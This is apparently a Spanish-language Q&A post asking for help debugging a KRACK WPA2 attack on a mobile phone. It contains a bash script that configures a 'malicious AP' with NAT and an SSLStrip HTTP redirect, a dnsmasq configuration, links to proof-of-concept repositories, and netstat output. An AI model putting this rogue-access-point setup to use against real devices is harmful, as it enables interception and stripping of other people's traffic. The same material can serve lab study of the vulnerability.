No consigo hacer funcionar este `script` para krakear wifi wpa2. En el móvil que estoy atacando dice que no obtiene la dirección ip pero dnmasq si que funciona bien o eso creo, ¿qué se les ocurre que puede pasar? estoy utilizando dos tarjetas alfa usb con vmware la configuracion del dnsmasq.conf es esta no-resolv interface=wlan1 dhcp-range=192.168.0.10,192.168.0.200,8h dhcp option=3,192.168.0.1 dhcp-option=6,192.168.0.1 server=1.1.1.1 server=1.0.0.1 log- querieslog-dhcp [![el ataque a funcionado pero dnsmasq no asigna ip][1]][1] [![dnmasq funcionando o eso creo][2]][2] para hacer funcionar el dnmasq utilizo este código `#!/bin/bash set -e # Interfaces that are used INTERNET=wlan1 #INTERNET=wlp5s0 REPEATER=wlan0 echo "" echo "[ ] Configuring IP address of malicious AP" ip addr del 192.168.100.1/24 dev wlan0 2> /dev/null || true ip addr add 192.168.100.1/24 dev $REPEATER echo "[ ] Enabling IP forwaring" sysctl net.ipv4.ip_forward=1 > /dev/null echo "[ ] Enabling NAT" iptables -F iptables -t nat -A POSTROUTING -o $INTERNET -j MASQUERADE iptables -A FORWARD -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT iptables -A FORWARD -i $REPEATER -o $INTERNET -j ACCEPT echo "[ ] Enabling SSLStrip rerouting" iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 echo "[ ] Starting DHCP and DNS service" echo "" dnsmasq -d -C dnsmasq.conf ` Dejo lo enlaces https://github.com/lucascouto/krackattack-all-zero-tk-key https://github.com/lucascouto/krackattacks-poc-zerokey Y el vídeo por si sirve de más ayuda https://www.youtube.com/watch?v=Oh4WURZoR98 la salida de ip addres list es esta [![:)][3]][3] el movil aun poniendo ip addr add 192.168.100.1/24 dev wlan0 no funciona sale esto [![movil atacado][4]][4] [![introducir la descripción de la imagen aquí][5]][5] [1]: https://i.sstatic.net/Igqnp.png [2]: https://i.sstatic.net/UWfDO.png [3]: https://i.sstatic.net/gZeQj.png [5]: https://i.sstatic.net/VB1W4.jpg ``` LANG=C netstat -apn | grep LISTEN tcp 0 0 0.0.0.0:53 0.0.0.0:* LISTEN 2175/dnsmasq tcp6 0 0 :::53 :::* LISTEN 2175/dnsmasq unix 2 [ ACC ] STREAM LISTENING 20249 562/systemd /run/user/133/systemd/private unix 2 [ ACC ] STREAM LISTENING 20361 601/Xorg @/tmp/.X11-unix/X0 unix 2 [ ACC ] STREAM LISTENING 24742 903/Xorg @/tmp/.X11-unix/X1 unix 2 [ ACC ] STREAM LISTENING 20264 562/systemd /run/user/133/gnupg/S.gpg-agent.ssh unix 2 [ ACC ] STREAM LISTENING 20267 562/systemd /run/user/133/gnupg/S.gpg-agent.browser unix 2 [ ACC ] STREAM LISTENING 20269 562/systemd /run/user/133/gnupg/S.gpg-agent unix 2 [ ACC ] STREAM LISTENING 20271 562/systemd /run/user/133/pulse/native unix 2 [ ACC ] STREAM LISTENING 20274 562/systemd /run/user/133/bus unix 2 [ ACC ] STREAM LISTENING 20276 562/systemd /run/user/133/gnupg/S.dirmngr unix 2 [ ACC ] STREAM LISTENING 20362 601/Xorg /tmp/.X11-unix/X0 unix 2 [ ACC ] STREAM LISTENING 20278 562/systemd /run/user/133/gnupg/S.gpg-agent.extra unix 2 [ ACC ] STREAM LISTENING 21106 688/gnome-session-b /tmp/.ICE-unix/688 unix 2 [ ACC ] STREAM LISTENING 24743 903/Xorg /tmp/.X11-unix/X1 unix 2 [ ACC ] STREAM LISTENING 24861 964/ssh-agent /tmp/ssh-cNPz2cWVqHoj/agent.912 unix 2 [ ACC ] STREAM LISTENING 25131 912/gnome-session-b @/tmp/.ICE-unix/912 unix 2 [ ACC ] STREAM LISTENING 25132 912/gnome-session-b /tmp/.ICE-unix/912 unix 2 [ ACC ] STREAM LISTENING 18015 536/gdm3 @/tmp/dbus-h3cGYiLw unix 2 [ ACC ] STREAM LISTENING 24667 897/gnome-keyring-d /run/user/0/keyring/control unix 2 [ ACC ] STREAM LISTENING 21105 688/gnome-session-b @/tmp/.ICE-unix/688 unix 2 [ ACC ] STREAM LISTENING 18017 536/gdm3 @/tmp/dbus-nyVubJY5 unix 2 [ ACC ] STREAM LISTENING 18018 536/gdm3 @/tmp/dbus-og7mrBuG unix 2 [ ACC ] STREAM LISTENING 25211 897/gnome-keyring-d /run/user/0/keyring/ssh unix 2 [ ACC ] STREAM LISTENING 15225 1/init /run/uuidd/request unix 2 [ ACC ] STREAM LISTENING 15241 1/init /var/run/dbus/system_bus_socket unix 2 [ ACC ] STREAM LISTENING 25232 897/gnome-keyring-d /run/user/0/keyring/pkcs11 unix 2 [ ACC ] STREAM LISTENING 15261 1/init /var/run/pcscd/pcscd.comm unix 2 [ ACC ] STREAM LISTENING 24481 880/systemd /run/user/0/systemd/private unix 2 [ ACC ] STREAM LISTENING 24675 536/gdm3 @/tmp/dbus-igRoA8CJ unix 2 [ ACC ] STREAM LISTENING 24488 880/systemd /run/user/0/gnupg/S.gpg-agent unix 2 [ ACC ] STREAM LISTENING 24491 880/systemd /run/user/0/gnupg/S.dirmngr unix 2 [ ACC ] STREAM LISTENING 24493 880/systemd /run/user/0/pulse/native unix 2 [ ACC ] STREAM LISTENING 24496 880/systemd /run/user/0/bus unix 2 [ ACC ] STREAM LISTENING 24498 880/systemd /run/user/0/gnupg/S.gpg-agent.extra unix 2 [ ACC ] STREAM LISTENING 24500 880/systemd /run/user/0/gnupg/S.gpg-agent.browser unix 2 [ ACC ] STREAM LISTENING 24502 880/systemd /run/user/0/gnupg/S.gpg-agent.ssh unix 2 [ ACC ] STREAM LISTENING 12993 1/init /run/systemd/private unix 2 [ ACC ] STREAM LISTENING 18014 536/gdm3 @/tmp/dbus-vN8ICFaf unix 2 [ ACC ] STREAM LISTENING 13000 1/init /run/lvm/lvmpolld.socket unix 2 [ ACC ] SEQPACKET LISTENING 13009 1/init /run/udev/control unix 2 [ ACC ] STREAM LISTENING 24674 536/gdm3 @/tmp/dbus-F7DQXEEd unix 2 [ ACC ] STREAM LISTENING 13012 1/init /run/lvm/lvmetad.socket unix 2 [ ACC ] STREAM LISTENING 13018 1/init /run/systemd/journal/stdout unix 2 [ ACC ] STREAM LISTENING 13036 1/init /run/systemd/fsck.progress unix 2 [ ACC ] STREAM LISTENING 25046 989/dbus-daemon @/tmp/dbus-NJ4lzr0pCh unix 2 [ ACC ] STREAM LISTENING 20868 704/dbus-daemon @/tmp/dbus-lYGwCaERiJ